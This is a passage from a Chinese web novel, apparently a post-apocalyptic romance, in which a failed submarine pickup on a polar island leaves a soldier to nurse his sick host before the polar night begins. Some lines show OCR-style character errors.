“哥,我刚刚就在想,海上浮冰这么多,潜艇能开过来吗?”
魏长川道:“浮冰不是问题。”
军用潜艇的体量,材质,和性能都与民用的载客船只不通。对于本身的设计就要防御鱼雷和各种炮弹的潜艇来说,小型的浮冰和冰山都不是问题,况且体量更小、架势更加灵活的潜艇也能够在发现任何障碍物的时候很快地躲避开。
闻言,闵疏放心了:“那就好。”
只要别像泰坦尼克号一样撞冰山沉了就行,闵疏想着赶紧摇了摇头,将立Flag一样的想法从自己脑中驱散出去。
这时,太阳已经西斜得很厉害了。灿烂的日光逐渐没入云层之中,亮得发白的光线逐渐变得暧昧,将天空染成了灿烂的橘红。
闵疏看了看手表,抬起头,叹道:“估计过不了两天极夜就要开始了。”
一旦堕入黑暗,这样不见天日的日子会一直持续到来年开春。
魏长川站在他身后,手放在他的腰上,没有说话。
闵疏仿佛知道他在想什么,转过头道:“哥,别担心,我都已经习惯了。”
闻言,魏长川垂眼看向他,依旧没有说话,只是伸出手,将青年额前的一缕发丝别向他耳后。
之后,他们两个默契地不再说话,就这么安静地靠在一起,静静看着天边的晚霞,仿佛在等待什么发生,又仿佛想要无限延长这宁静的一刻。
然而就如同晚霞一般,美好的时刻总是短暂的。
当天空由滚动燃烧的橙红霞光转为沉静的粉紫色时,一个尖锐的声音响起。
清脆的铃声打破了安静的空气,闵疏寻声低头,便见魏长川腰侧边正闪着红光,
魏长川将那个发信器拿下来,按下右上侧的按钮,尖锐的铃声和不断闪动的灯光一齐消失。
闵疏明白了什么,抬起眼:“是潜艇到了吗?”
魏长川看向他,点了点头。
就在这一刻,天边的最后一丝粉色消失,天空骤然变暗,散发着幽幽的蓝紫光芒笼罩冰原。
魏长川松开了他,微微拉开了两人的距离。
环绕着他的灼人热意退开,冷风随之灌入,闵疏骤然打了个抖。
明明四周的环境没变,但在这一刻闵疏却恍然有种从温暖的室内踏入冰天雪地的感觉,他抿了抿唇,没有在脸上露出丝毫痕迹,笑着抬起头:
“那我们要说再见啦,哥。”
他看向魏长川,态度友善而积极地道:
“这段时间谢谢哥的照顾,以后自己也要好好吃饭啊。” 他想了想,又补充道:“外头好像很危险,就算哥对病毒免疫,出任务的时候还是要小心,不要受伤了。”
闵疏说了这些,想了想,觉得没什么要说的了,便抬头看向魏长川。
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魏长川站在背光的方向,身后是深紫色的天空。
在迅速暗淡的光线下,闵疏看不清他的眉眼,只能看见男人的清晰的下颌和颈侧线条。
他沉默着,紧绷的下颌微微一动,然而就在闵疏以为他要说什么时,魏长川却偏过了头:“……那我走了。”
闵疏点了点头:“嗯。“ 他向男人笑起来:“哥,一路顺风。”
魏长川的目光在他脸上最后停留了一瞬,遂转过了身,向海边走去。
闵疏望着他的背影,男人身材修长,背后黑色的披风在空中飞舞,跟那时他忽然出现在风暴之中时一模一样。
闵疏试图记住这一时刻,毕竟这很有可能是他与魏长川的最后一面。男人会回到基地,穿梭在世界各地出任务,而他则会呆在这个岛上,也许某一天会感染病毒,也或许会被突如其来的疾病击倒。而这短暂的相处虽然没什么结果,却是放在他的一生里都值得回味的记忆。
然而就在这时,他看见魏长川的身影一顿,接着忽然转过身朝他走了过来,没几步就回到了他的面前。
闵疏惊讶地抬起头:“哥,你怎么——”
他话还未来得及出口,就被魏长川抱住了身体。
那是个极其紧密的拥抱,魏长川有力的臂膀环绕住他的肩背,灼热的体温笼罩了他。
“……自己照顾好自己。” 男人低哑的声音在他耳边响起,他们靠得很近,闵疏几乎能感受到温热的唇擦过自己的耳廓,魏长川在他耳边道:“等合适的时候,我来接你。”
闵疏呼吸一滞,甚至没能在当即理解这句话的意思,然而魏长川已经放开了他,转身朝海边走去。
隔了好几秒,闵疏才猛地回过神,抬手摸了摸自己的耳朵。
来接他?
是还要回来的意思吗?
闵疏听到自己加速的心跳声,内心仿佛有什么东西被点燃了。然而这时他没有空闲细想自己的感受,闵疏垫起脚,望向海边,只见平静的海面中央不知什么时候出现了一个漩涡,并正在不断扩大。
四周的海水都仿佛被漩涡吸引了过去,水面的流速越来越快,数个小泡泡从海水内部浮上,闵疏看着都觉得有些紧张,不禁长大了嘴——这一定是辆很大的潜艇。
不远处,魏长川站在海边,制服被海风吹得猎猎作响。
他凝视着海面中央的漩涡,微微眯起了眼睛,忽然面色一变,猛地从岸边退开。
同时他还对正在等着看潜艇浮起来的闵疏喊道:“后退!”
闵疏被吓了一跳,下意识地遵从魏长川的话往后退了一步。然而就在这分秒之间,魏长川已经到了他面前,一把将他抱住。
闵疏猝不及防地被抱住,重心向后倾,同时目光越过他的肩膀,看到了海面上的东西——
只见刚才不断下陷的漩涡之中竟然暴起了一只巨大的虎鲸!
它的黑白色头颅破出水面,因为距离太近,看起来简直有难以想象的巨大。不到半秒,它的身体便全部跃出了海面,身躯呈现出优美的弧线,接着重重地落入了海中。
“啪!”
随着巨大的声响,海面被激起巨大浪。虎鲸的身体没入了海中,但是巨大的尾部还露在外面,尾部朝下拍去,骤然将岸边的一片浮冰拍了个粉碎。
“哗啦!”
海水漫天而来,魏长川挡在闵疏前面,挡下了绝大部分的海水。
闵疏反射性地紧紧闭上眼睛,再睁开时,就见面前的魏长川浑身都湿透了,黑发湿漉漉地贴在额前。
“哥!” 闵疏吓了一大跳。
魏长川放开了他:“我没事。”
两人同时转过头,海水在巨大的冲击下还在一波一波地往上漫,而那只巨大的虎鲸已经不见踪影,只有悠长的鲸鸣在空中环绕。
“这、这到底是怎么回事?” 闵疏惊讶地都有些呆滞了:“为什么是鲸鱼?潜艇呢?”
魏长川显然也没想到会有这一茬——他现在浑身都被海水浇透,形容有些狼狈。他顿了顿,先是转头上下看了看闵疏,在确认他身上的衣服还是干的之后低下头,拿起发信器,又按了一下上面的按钮。
闵疏听到一阵电流的滋滋声,接着,里面传来有些沉闷的声音:“潜艇小队A8045,请说——诶!把舵稳住!”
发信器对面的声音一开始还很稳,后面忽然变得慌乱起来。闵疏微微睁大了眼睛,看见魏长川皱了皱眉,道:
“你们在哪?”
发信器另一头再次发出滋滋的电流声,似乎信号不是很稳定,人声只是时不时地出现在其中:
“老大……鲸鱼……试图靠港,请您稍等……“
但是很快,传来的声音就变得惊慌起来:
“等等!先不要碰那边……老箫呢?快叫他来!”
“左满舵、先打满!诶别碰别碰……等一下……”
“操!加满加满!暗流来了——”
潜艇内似乎处于很混乱的状态,很快,除开人声和各种嘈杂的声音之外,还有各种慌乱的脚步声和沉重的机械声。闵疏听着都觉得有些心惊肉跳。
没过多久,发信器似乎是终于不堪重负,在发出了两声巨大的滋滋声后彻底消音了。
两人间只剩下海浪不断拍击在岸边的声音,那只巨大的鲸鱼似乎是游到了远处,海面重归了平静。
21、极夜来客
在发信器彻底失去信号后,两个人似乎都有些不知道怎么面对这个意外的情况,
时间谁都没说话
海风吹乱了闵疏额前的头发,他微张着嘴,表情有些空白。
听起来,好像,不太妙的样子?
他看向拍在岸边的海浪,那只巨大鲸鱼已经看不见影儿了。
闵疏呆了一会儿,又抬头看了看魏长川,小心地问:“哥,潜艇还来吗?"
魏长川:…
看他的脸色,好像是不会来了。闵疏心中一沉,担忧道:
“刚才听起来潜艇好像是撞上鲸鱼了,会不会有事啊?"
魏长川看向海面,半响后转头看向闵疏:“没事。
潜艇里的都是免疫者,多多少少都有一些特殊能力,就算直接掉在海里也不会死,应该是潜艇意外碰上了突然出现的鲸鱼,出了机械故障,没办法上浮到海面上。
闵疏喃喃道:“是啊……近海一般不会有鲸鱼的。"
他的话音缓缓落下,接着归于沉寂。两个人并排站在海边,都不知道该说什么,气氛有些沉默。
此时,天边的最后一点紫霞隐入云层,天空变成了深蓝色,离彻底天黑只有一线的距离,远处的峡湾与冰川渐渐褪为暗淡而模糊的轮廓,气温开始下降。
阵凉风吹来,闵疏不禁缩了缩脖子,觉得鼻子有些痒:"阿!"
闵疏打了个喷嚏,紧接着又打了一个。
魏长川似是忽然回过了神,转过头,握住了闵疏的手臂,开始带着他往远离海岸的方向走:“先回去。
闵疏跟着他转过身,有些惊慌地扭头往海岸上看:“哥.但是,不用再等等吗?“
魏长川回答:“不用。”
接着似乎是怕闵疏担心,解释道:“他们会再联系我的。
“这样啊。" 闻言,闵疏放下了心:“那就好。"
接着,他垂下目光,看到了两人交握的手。魏长川的手刚才放在他的手臂上,隔着衣服没有感觉到,现在两人牵着手,闵疏一下子就感觉到了魏长川手上仿若冰冻般的温度。
现在海水的温度接近零度,刚才全浇在了魏长川身上,会这么冷也不意外。闵疏下意识地道:“哥,你的手好冷啊。
闻言,魏长川的脚步一顿,接着几乎是立即放开了他的手。
闵疏一愣,顿了几秒,才收回了手。
随着这个动作,他们之间气氛忽然变得有些古怪了起来
闵疏将手收回了口袋里,缩了缩脖子,将外套裹紧了些
两人一前一后地走在冰原上,四周非常安静,天空已经彻底黑了下来,极地小岛上没有光污染,在无云的夜晚,天空上一弯明月显得格外大而明亮,皎洁的月光像探洞灯一样照亮了雪原,将两人在礁石中穿校的影子不断拉长
闵跻跟在魏长川身后,低着头将下巴缩进毛茸茸的领子里,随着刚才突发意外带来的无措渐渐淡去,想到了刚才的那个拥抱,后知后觉地红了红脸,接着又觉得有点尴尬,
他没想到魏长川居然会在离开前说出那种话.…好像也有点舍不得他似得。
闵疏不知道魏长川说出那句话的时候心里在想什么,也不知道自己感受到的暖味是否是分离之中情绪波动下的错觉,
他不敢深想,抬眼看了看魏长川的背影——男人步伐坚定,全身被海水淋湿没有减慢他的速度,走在前面为闵疏挡去大半冷风,
闵疏觉得自己心跳有点快,却也不敢说话,两个人就这么沉默地往回走,阿拉斯加大奇克很乖巧地等在礁石海滩外,看到两个主人走出来,很热情地迎了上来,围着闵疏蹦蹦跳跳
“奇克!” 闵疏笑起来,揉了揉它毛茸茸的大头:“乖狗狗,乖狗狗。
有了奇克的陪伴,气氛总算是没那么益尬了,大狗也不知道两个主人大老远地跑来海边是来干什么的,只是围着两人转了几圈,朝浑身温透的魏长川哼哼了两声,被摸了摸头后很忠诚地领着两个主人朝中餐馆的方向走去。
没过多久,两人就回到了小镇。
在推开餐厅的一瞬间,暖气扑面而来,瞬间融化了雪原夜晚的冷意。闵疏深吸了口气,感觉屋内温暖的气息渗入了毛孔,享受地呼出了一口气。
因为太舒服了,他下意识地转头看向魏长川:“还是家里好,真暖和。
魏长川站在屋内,手上拿着刚脱下的披风,上面毛茸茸的表面已经被海水打湿,黏成了一缕一缕的形状,已经结成了冰霜
他看了眼闵疏,没有说话,只是简短地点了点头:“我去洗个澡。
闻言,闵疏愣了愣:“啊?嗯
看着魏长川的背影消失在门后,闵疏有些怔愣,接着忽然意识到他刚才那句话是不是说得有点不对?
魏长川本来是打算离开的,但是出了意外,会不会耽误事?冰川里的病毒样本还在这儿,得想办法送到基地去给科学家研究才行。
如果潜艇一直修不好的话,魏长川就得一直滞留在这儿了,那样本怎么办?闵疏越想越觉得不妙,拾头向浴室的方向,心想这个时候魏长川应该比他更心急
闵疏心思细,想着就有点坐立不安,这时,浴室里发出哗啦啦的水声。魏长川在洗澡,他也不能冲进去直接问,幸而过了没多久,魏长川就从浴室里出来了。
男人换下了被海水浇得湿透的制服,只穿着白色的背心,低着头走了出来,氤氲的水汽环绕在裸露的皮肤上。
闵疏看着他抬起手臂,用毛巾擦拭散乱的黑发的样子,一时忘记了自己想说什么。
就在这时,魏长川看见了他,偏过头,伸手摸了摸闵疏身上的衣服:“衣服有被海水打湿吗?"
在零下几十度的室外温度下,被冰冷的海水打湿的话会有失温的危险,所以他格外小心,闵疏应该是没有沾到海水才对。
闵疏确实没有被海水沾到,实际上,他的衣服全是干燥的。在开着暖气的房间里站了这么久阅疏都忘记了脱衣服,现在里面已经出了汗,贴身的衣物紧紧地黏在皮肤上。
闵疏满头大汗,脸有点红,呼吸乱了一瞬,下意识地避开了魏长川的目光:“没有.…我、我也去洗个澡。
闵疏几乎是慌不择路地从魏长川身侧挤了过去,躲进浴室里’砰’地一声关上了门。
闵疏在浴室里待了好一会儿,将汗水连带着那点儿心猿意马都洗掉了之后才出来。魏长川已经不在浴室里了,闵疏找了一圈,最后在放着电视的客厅里找到了魏长川。
他穿着那件白色的背心,如往常一般斜倚在窗边,肤色略深的手臂环在胸前,正低着头拿着发信器不知在干什么。
闵疏看见他按下上面的按钮,发信器发出滋滋的电流声,仿佛在尽力寻找信号,电流声持续一段时间,接着突然断片一般安静下来。
如此频繁往复,屋子里都是嘈杂的电流声。
魏长川似乎不太满意,一直蹙着眉,神情有点严肃。
闵疏没敢打扰他,又不太想走,就站在门口踌躇着,然而还没等他下定决心,魏长川就率先发现了他。
“怎么站在哪儿?” 魏长川看见他,眉心微微一松,放下手臂示意他过去。
闵疏这才走过去,看着男人手中饱经折磨,时不时’滋一声的发信器,道:“哥,是发信器坏了吗?"
魏长川说:“不是。”他似乎是放弃了,终于不再折磨发信器,将那个小盒子放进口袋里:“只是找不到信号。"
闵疏,哦了一声,有些犹豫的看了魏长川一眼,见他好像心情也不算很坏,便决定问出口:"哥,是不是耽误你的事了?要是潜艇坏了,来不了了怎么办?
魏长川似是听出了他语气里的担忧,垂头看了他一眼:“没事,基地会想办法的。
闵疏忧心忡忡:“潜艇都坏了,能有什么办法?"
魏长川垂眸看着他感着眉尖的模样,唇边极快地闪过一丝笑意,接着道
“别担心。”
他抬手,安抚般地按住青年瘦削的肩膀:
“船不止一艘,也不一定非要坐潜艇。
闻言,闵疏才松了口气。恍然想起也是,人家基地说不定有什么战斗机或者专用的飞机,轮不到他来操心:
“那就好。”闵疏道。
魏长川看着他,发现闵疏是真心在为病毒样本不能及时抵达基地而担忧。
他总是时不时地在青年身上看到一点与末批格格不入的品和、经历讨有疫爆发伊始。一切社会铁序与道德在极据的时间内林打破重组的围出,魏长川看过太多为了求生不泽一切手级的人。同样的处境,如果换成一个猎有精用的人。或许就会有歪思,比
试图掌握冰川病毒样本,想方设法从基地方换取许多利益。
然而闵疏似乎从未这么想,从头至尾,青年都没有试图用收留的忍情要挟他的意思,似乎只是将他当成了一个昔通的客人。唯-一次用救命之恩要扶,也是温温系柔的,一开始还说酥肉是臭的,最后还是心软给他吃了。
魏长川看着他,有点怜惜,又有些担忧。一面觉得青年这样可爱,一面又希望他的身体和精神都强壮一些,让人不用看着就觉得担心。
就在这时,闵疏忽然抬手捂住嘴,弯腰打了个喷嚏。
“阿嚏!”
魏长川睫羽微动,皱起眉:“感冒了?"
“没有一
闵疏揉了揉鼻子,说着刚抬起头,就又连打了几个喷嚏
“这…” 闵疏好不容易停下,有点尴尬地看向魏长川,果然发现男人的眉头皱得死紧:“可、可能是海风吹久了。
魏长川看着他,手从青年的肩头滑下,抓住了他的手臂:“去床上。
闵疏于是就这么被他拉到了卧室,塞进了被窝里。柔软厚实的棉被覆上来,身体渐渐升温,闵疏觉得自己好了一点,吸了吸有些发痒的鼻子,抬眼便见魏长川端着杯子从外面走进来。
“这是什么?” 闵疏坐起来,问道。
魏长川将杯子递给他,伸手拿过一张毯子,盖在闵疏肩上:“感冒冲剂。
“哦。” 闵疏接过冲剂喝起来,他身体不好,感冒药是家中常备,冲剂的味道不算难喝,闵疏很快就喝完了,将杯子递还魏长川。
魏长川去将杯子洗了,又接了一杯温水,回来便见闵疏窝在床上,略微着眉,闭着眼似乎快睡着了。
闵疏今天去港口来回消耗了大量体力,吃了感冒药后立即觉得困意上涌,听到魏长川的脚步声时,他已经困得睁不开眼了。
"” 闵疏陷在温暖的棉被里,撑着最后一丝清醒道:“我有点困,先睡一会儿,等会儿吃晚饭的时候哥记得叫我.…昨天打的鱼,可以拿来红烧
他嘟囔着,意识逐渐涣散,只听到耳边的脚步声越离越近。接着,一只手揉了揉他的头顶:
“睡吧。
随着男人低沉的声音,闵疏的意识堕入黑暗之中。
闵疏这一觉睡得很不安稳。
一开始他销在被卖里,觉得温暖又部适,但很快围遭的温度逐渐攀升,变得格外构热,闵际述迷解地,觉得自己好像出了很多汗,想醒却又醒不过来,过了一会儿又忽然变得很冷,手脚好像被埋进了雪地里,冷得他不住地发抖。
虽然睡是睡着了,闵疏却觉得自己一直在不停地做梦,梦境却全是毫无逻辑而细碎激烈的,让他不禁在梦中消耗了许多精力,皱着眉几乎是挣扎般地陷在床榻里。
不知过了多久,闵疏终于从纷杂的梦境中醒来。
他睁开眼,屋里已经满是黑暗。
闵疏愣了一瞬,第一个想法是魏长川为什么没有叫醒他,好像错过了晚饭的时间。
他好像生病了,闵疏模糊地想道。果然是在海边站了太久,被风吹的,也不知道魏长川怎么样了……他试图发出声音,却因为喉咙于涩怎么都说不出话来。
就在这时,一只手伸过来,抚住了他的脸:“醒了?"
闵疏拾起发烫的眼皮,看到了坐在窗边的魏长川:“哥
发出的声音很嘶哑,连闵疏自己都吓了一跳。
“别说话。” 那只手从他脸上移开,支撑着闵疏的背将他扶了起来。接着,一个玻璃杯凑到了他嘴边:“"喝点水,把药吃了。
闵疏坐起来,昏昏沉沉地被喂了几个药片,然而等他试图吞下的时候,喉咙像刀割一样痛。
“唔。"
闵疏难受地仰起头,含着药片咳嗽了两声,泪水泌出眼角。
“难受吗?” 魏长川抚住他的后脑:“哪里不舒服?"
闵疏睁开眼,透过朦胧的水汽看向魏长川,只能隐约看见男人紧感的眉心。他艰难地吞咽了下,却没能将药片咽下去:“"喉.…喉咙痛…
魏长川听了,直接将手指伸进他嘴里,压着他的舌根将没咽下去的药片取了出来:“先一片一片吃。
闵疏迷迷糊糊地张开嘴,无法思考,下意识地遵从指令,就着水将一片药片吞了下去。
几片药吃了十几分钟才吃完,一杯水也差不多喝完了。
闵疏满眼糊着泪水,睫毛被黏成一簇一簇,闭着眼倒回了床上,还不忘记问:
“哥吃饭了吗?现在几点了.
“现在就别想那些了。”魏长川低沉的声音传来,手掌捂住他的眼睛,擦去了上面的泪:
“睡吧巴
闵疏呼吸灼热,迷糊着应了两声,就又睡着了。
或者比起睡着,更像是晕过去了。闵疏完全堕入了黑暗之中,被病痛折磨着,还是睡得不太安稳,在梦中也微微皱着眉。
在黑暗中,魏长川坐在床边,看着侧躺在床上的青年。
闵疏睡下去没多久就开始发热,应该是在海边着凉了,现在他躺在床上,呼吸声略微粗重,像是鼻腔被堵住,吸气有些费劲的样子。
月光照在他脸上,闵疏很白,眼睛闭着,浅而薄的眼皮上泛着粉红,有些肿了起来,连浅浅的内双都看不见了。
魏长川看了一会儿,伸出手,用手背试了试温度,还是很烫。对于闵疏这种免疫和呼吸系统都很脆弱的人来说,就算只是小感冒,热度如果不尽快降下来很容易就会演变为肺部感染。
这时,闵疏似乎是感受到了他的动作,轻轻动了动,嘴里嘟道:“….冷。
闻言,魏长川顿了顿,接着站起身,将衣服脱了,掀起被子躺进了被子里,伸手将闵疏揽进了怀里
青年很单薄,随手一揽就能紧紧贴在他胸前,魏长川抱着他,手掌贴在青年起伏的酶膛上,感受着里头不算强健的心跳。过了一会儿向下,摸到了青年的腰侧,肋骨隔着薄薄的皮肉贴在他掌心
魏长川说不出自己是什么心情,他将动作放得轻到不能再轻,连环抱青年为他取暖都不敢太用力,睁着眼注意着他的声息,一整晚都没有合眼。
之后,闵疏在发烧时断断续续地醒来了很多次,每次魏长川都在他身旁,喂水和药给他吃。
闵疏一开始还惦记着魏长川没吃饭,后来却连时间都不知道了,陷在床榻间昏昏沉沉地睡着。幸而似乎是药物起了作用,到了第三天,闵疏身上的温度褪了下去,变成了低烧
魏长川递来水。闵疏接过来喝了一口,尝到一点甜味,微微睁大了眼睛:
“甜甜的。”他回过头,抬头朝魏长川道:“放了糖吗?”
魏长川道:
"放了蜂蜜
闵疏”哦”了一声,觉得有点开心,就再喝了一口。但嗓子还是很痛,所以他没喝完就把水放下了。
魏长川单手揣在裤兜里,垂着眼问道:“现在有胃口吃东西吗?"
“啊?” 闵疏听了,有点惊讶地拾起头。魏长川低头看着他,做询问状。算起来闵疏其实已经两天没吃过像样的食物,但是他其实并不饿,但阅疏还是说:“嗯,有点饿了。
闻言,魏长川点了点头,转身去厨房了。回来的时候,手上端了一碗粥。
闵疏瞪着那碗白粥,看着魏长川在床边坐下来,张大了嘴:
“这.这是哥做的?”魏长川正用勺子搅着白粥,闻言抬起头:“怎么?"
闵疏眨了眨眼睛:“不…就、就是有点惊讶。
因为魏长川看起来不像是会做饭的人。不过真想起来,魏长川也很会做家务,之前什么洗衣服洗完杀猪之类的事情都做得很好。
闵疏怀着感激的心情将那碗白粥吃了,粥的味道很干净,就是纯净水和米慢慢熬煮出来的白粥。因为喉咙还很痛,闵疏吃得很慢,一点一点地将粥咽下去。
魏长川在一旁看着,道:“吃不下了不用勉强。”
闵疏皱着眉咽下一口粥,抬头看向魏长川:“不是,是喉咙太痛了。
其实他也没什么胃口,可这还是头一次在生病的时候得到旁人的照顾,他舍不得不吃完。
用时半个小时,闵疏将一碗白粥吃完了,魏长川去把碗洗了。
闵疏侧躺在靠窗内侧的位置,望着窗外深蓝色的天空,到现在已经睡了一天一夜,所以没什么睡意。他有点睡不着,于是转过身,向坐在床边的魏长川搭话:
“哥,你吃饭了吗?"
魏长川坐在床边的椅子上,手里拿了本书:“吃过了。”
“吃的什么?”闵疏好奇道。
魏长川翻书的动作一顿,回过头:“你觉得我不会做饭?
闵疏本来想点头,想到那碗白粥,又顿住了:“哥会吗?那哥做了什么吃?"
魏长川看了看他,收回目光,道:“方便面。
闵疏微微睁大了眼睛:“那算什么做饭——” 接着,他顿了顿,意识到魏长川或许是跟他开了一个小小的玩笑,
他睁大了眼睛看魏长川,果然从男人脸上看出了一点笑意。闵疏眨了眨眼,也跟着微笑起来,朝床边凑了凑:
“谢谢哥这么照顾我。”他裹在被子里,抬头有些讨好地向男人道:“等我好了给哥做大餐吃。"
魏长川垂下头,见青年柔软的黑发散乱在额前,眼睛还有点红,细细弯弯的像月牙。
他放开书,握住了青年垂在床边的手:“你先好起来再说吧。
闵疏的手指细长,手背上透着青色的血管,皮肤微凉,血液循环不太好。魏长川握住,便没放开,灼热的掌心轻轻摩擦在五根手指上。
闵疏由着他握了一会儿,没说话,心里要说没有一点感动是不可能的。
从小到大,还没有人这么无微不至地照顾过他。
人们常说小孩在婴幼儿时期是没有记的,闵路却很清超地记得在他满两岁的那个冬天,他病得很严重,销在病床上发着高统,偶然清维时听见几个大人站在门口,讨论着如果他熬不过要将他埋在物里,附近的公墓没有空位,私人墓地价格品费,有人是
议就将他埋在孤儿院后面的孤山上。
闵疏永远无法忘记当时感受到的无助和惊骇,他熬过了那场病,之后很久都不敢靠近孤儿院背后那座山。
以至于青少年时期,他最大的梦想就是快快长大,组建自己的家庭,要是死也要在一众爱人亲属的环绕下死去。别人都是想的早日买车买房,他最想拥有的却是有一块属于他的、写着自己名字的墓地。
后来再长大了些,思想逐新成熟,闵晓也就渐渐释然了,死后之事都是虚妄,将眼前的日子过好才是最重要的。再说了,他是个同性恋,还拖着这么一副兴身体,谈恋爱都够哈,还是别给人家添麻烦了。
可现在他躺在松软温暖的被窝里,刚喝了人家熬的粥,五只被摸在手心,想起这些,不禁有些心绪浮动。
闵疏静静躺了一会儿,终于忍不住抬起头,看向侧着脸看书的魏长川:“哥,你谈过恋爱吗?"
闵疏的声音很小,漂浮在空中。
魏长川顿了顿,移过眼,目光落在他脸上:“问这个干什么?"
闵疏有些紧张地咽了口唾沫:“"…就是好奇。” 他道:“哥不想说也没关系。”
魏长川定定看着他,眉宇间的神情微微变了,然而还没等闵疏窥见其中的情绪,他便转过了头:“我不能。
闵疏一愣,没听懂:“什么?"
魏长川道:“基地规定,免疫者与普通人不能产生情感关系。
他语气平静,闵疏惊讶地睁大了眼睛,花了两秒理解他话里的意思:“什么.为什么不能?"
魏长川偏过脸,眸色有些发沉,语气比上一次略重:“这是规定。
闵疏被那生硬的四个字打击到,心立即凉了半截。
他不明白为什么会有这种规定,是因为免疫者要到处出任务,害怕感染?还是因为别的什么
又或许根本没有这条规定,魏长川这样说,是为了打消他的想法。
闵疏心口发凉,不禁微微瑟缩了一些,手指蜷了蜷。
感受到他的动作,魏长川的手先是反射性地一紧,接着看了他一眼,又放开了。
闵疏慢吞吞地将于缩回被子里,翻了身,背对着男人。
魏长川坐在床边,没有说话。
闵疏躺了一会儿,又慢慢动了动,缓缓地朝墙边缩。
他的动作很细微,奈何屋子里太安静了,被窝里的窸窣声仿佛被无限放大。从背后看,他着被子像个蚕蛹,缓慢地蠕动
下一瞬,床榻陷下些许,闵疏忽然被一双手背揽住,后背贴上一个灼热的温度。
是魏长川,他放下书上了床,将他连人带被子抱在怀里。闵疏从耳边听到男人的吐息,登时屏住呼吸,身体有点僵硬
“哥——” 你干什么?
他的询问还未说出口,便被魏长川打断:
“我有点累。” 男人略微沙哑的声音传来:“陪我睡一会儿。
闵疏微愣,想到魏长川这两天的照顾,闭上嘴,将话咽了回去。
魏长川侧躺在他身后,手臂环过他,调整了一下姿势,将他楼地更紧了些,下巴抵在闵疏头顶,略沉地呼出一口气
“我没谈过。” 他忽然道。
闵疏措手不及,略怔了怔。魏长川只说了这一句,闵疏听了,心里说不上是什么滋味,基地规定免疫者不能和普通人谈恋爱,那他们两个是绝无可能的了,还说这些干什么?
他想着,并没有回答魏长川。魏长川也未接着往下说,不一会儿呼吸变得悠长,似乎是睡着了。闵疏在黑暗里躺了一会儿,也跟着睡着了
闵疏的病拖拖拉拉了一个星期,终于满血复活,回到了厨房重操旧业
大病初愈,闵味做了些简单又管询的吃食,他下了两大碗家面条,用热油泼在辣构粉上面,激出新鲜的辣味,再加入白艺底、蒜末、酱油,和一点点白糖,做成酱汁。热踏搭地往面条上一浇,就制成了一碗美味的油泼面。
为了保证营养和蔬菜摄入,闵疏还用剩下的冷冻胡萝卜和菠菜加上鸡蛋,做成了厚实的煎蛋卷。昨天魏长川打上来的鱼还很新鲜,肉质紧实而肥美,随便拿油煎一煎,加点粗盐粒就很好吃,
闵疏做饭的时候很投入,就算不是为了客人做、只是自家吃也力求做得精致,他用小铲子一点点整理前蛋卷的形状,确保每一层蛋皮都紧实地乐在下一层上面,将蛋卷整理成了方正的样子。
饭做好,魏长川已经等在门口,从他手中接过碗盘端了出去。
两人好久没有坐下来好好吃一顿饭,魏长川自碗里夹出一大筷子挂着红油的面条,低头吃了一口,眉眼肉眼可见地舒展开来。
闵疏看着他大口大口地吃面,心里竟然涌出一股做微带着怜爱的满足感,不知道这一周魏长川吃了多少泡面。他刚!在后厨看了看,之前开的那五包装已经空了,魏长川食量大,估计吃得还不止那么点儿,肯定也吃腻了。
吃晚饭,魏长川照例去洗碗,闵疏坐在餐厅里,看向窗外。
在他生病的一周里,岛上下起了大雪,这次不是风暴,只是窸空的鹅毛大雪静静地往下落,虽然没有风暴可怕,但威力不容小规,短近一周时停时下的大雪,积雪已经很深,走出去估计能够没到膝盖以上
魏长川洗完碗,一出来就见闵疏坐在床边,微微拧着眉。
“怎么了?” 他走上前问。
闵疏回过头,看了看他,又看向窗外:“雪这么大,我担心镇上的房子会塌掉。
镇上只来下他一个人,别的房屋设人打理,屋机上的雪积得太多,就会把房子压,这的近的村子上的病屋就是这样一个个诗规的,闵疏很担心,他不想让镇上的房星型帽,内心深处,他街日耳盼着那兰南下的镇民有一天会回来,到时候不能让他们连个生
的地方都没有。
“我得去清理屋檐上的雪。” 闵疏说。
魏长川一只手揣在裤兜里,低头往窗外看了一眼,很快道:“不行。
“你呆在家里。”他说:“我去。"
闵疏一噎,微微睁大眼:“我的病已经好了。"
魏长川垂眼看向他。闵疏病了一周,消瘦了不少,原本有点肉的脸颊小了一圈,显得下颌更尖,脖子细细地支着,清秀的侧影倒映在窗户上,
魏长川的眉心出现一抹浅痕,重复道:“不行。”
他的语气不容拒绝,接着便看见闵疏也皱起了那两条浅淡的细眉,似乎有点不高兴了,嘟道:
“我躺了这么久,也想出去放放风。
青年抬起细长的丹凤眼,看了看他,又敛下去:“再说了,哥没来之前,我都是自己去的。
魏长川了,要然们默下来。似是这才想到在他到来之前,面前这个看似胞司的青年独自生活在小岛上,脑中要然产生许多疑间,青年时候有没有生过病,是怎么素过来的,冬天除雪又怎么办。然而他作为一个先前差点离开,今后也注定不会长留在岛上
的人,似乎根本没有资格过问。
魏长川沉默良久,最终默认了让闵疏跟着一起去。
幸而外头的雪正好停了,雪停的无风时候相对而言不太冷,闵疏将自己裹成一个球,随魏长川走在雪地里。
松软厚实的雪地消解了一切杂音,四周万籁俱寂,闵疏和魏长川来到一座通体漆成蓝色的小屋前。
屋子斜斜的尖顶屋檐上落满了积雪,闵疏抬头看了看,忽然想起两人出门的时候忘记拿上工具:“糟糕,忘拿雪铲了。
魏长川站在院子外,往房檐上看了一眼:“不用。
闵疏转头看向他:“怎么会不用——"
接着,他便见魏长川低头拨开积雪,随手捡起一个略大的石头,直起身,瞄准了屋檐上的某个角度,石头以闵疏看不清的谏度被掷出
“。
和雪川格广白视的4
惊喜车冯
一层接着一层地掉落,一个眨眼的功夫,房檐干干净净。
闵疏被挡在魏长川身后,睁大了眼睛看着数层积雪落在地上激起一层雪雾,过了两秒,才回过头看向魏长川,道:
“哥,你也太牛了吧。"
魏长川侧脸俊美,神情淡然,回头揽住他:“走吧,去下一家。
闵疏被他拉着往下一座房子走,眼眸亮晶晶的,嘴里不住地嘟:“哥,你这一招叫什么?简直就像拍电影一样!"
魏长川没回答他,到了下一座房子前,故技重施,不到一分钟解决问题,闵疏深感带魏长川比带雪铲有用,之前他一户户走要好几天才弄得完,魏长川不到半小时就走完了整条街。
任务完成,两人往回走,正好不多不少是个舒适的散步时长。
最后一户在小山坡的高处,从这里往中餐厅走是下坡路,正好能看见深蓝色的天幕之下,辽阔的雪原一直延伸至海边,海面与天幕融为一体,成为一片略泛波澜的深色
闵疏低头看了看手腕上的表,发现此时是正午十二点。
他抬起头,叹道:“极夜来了。
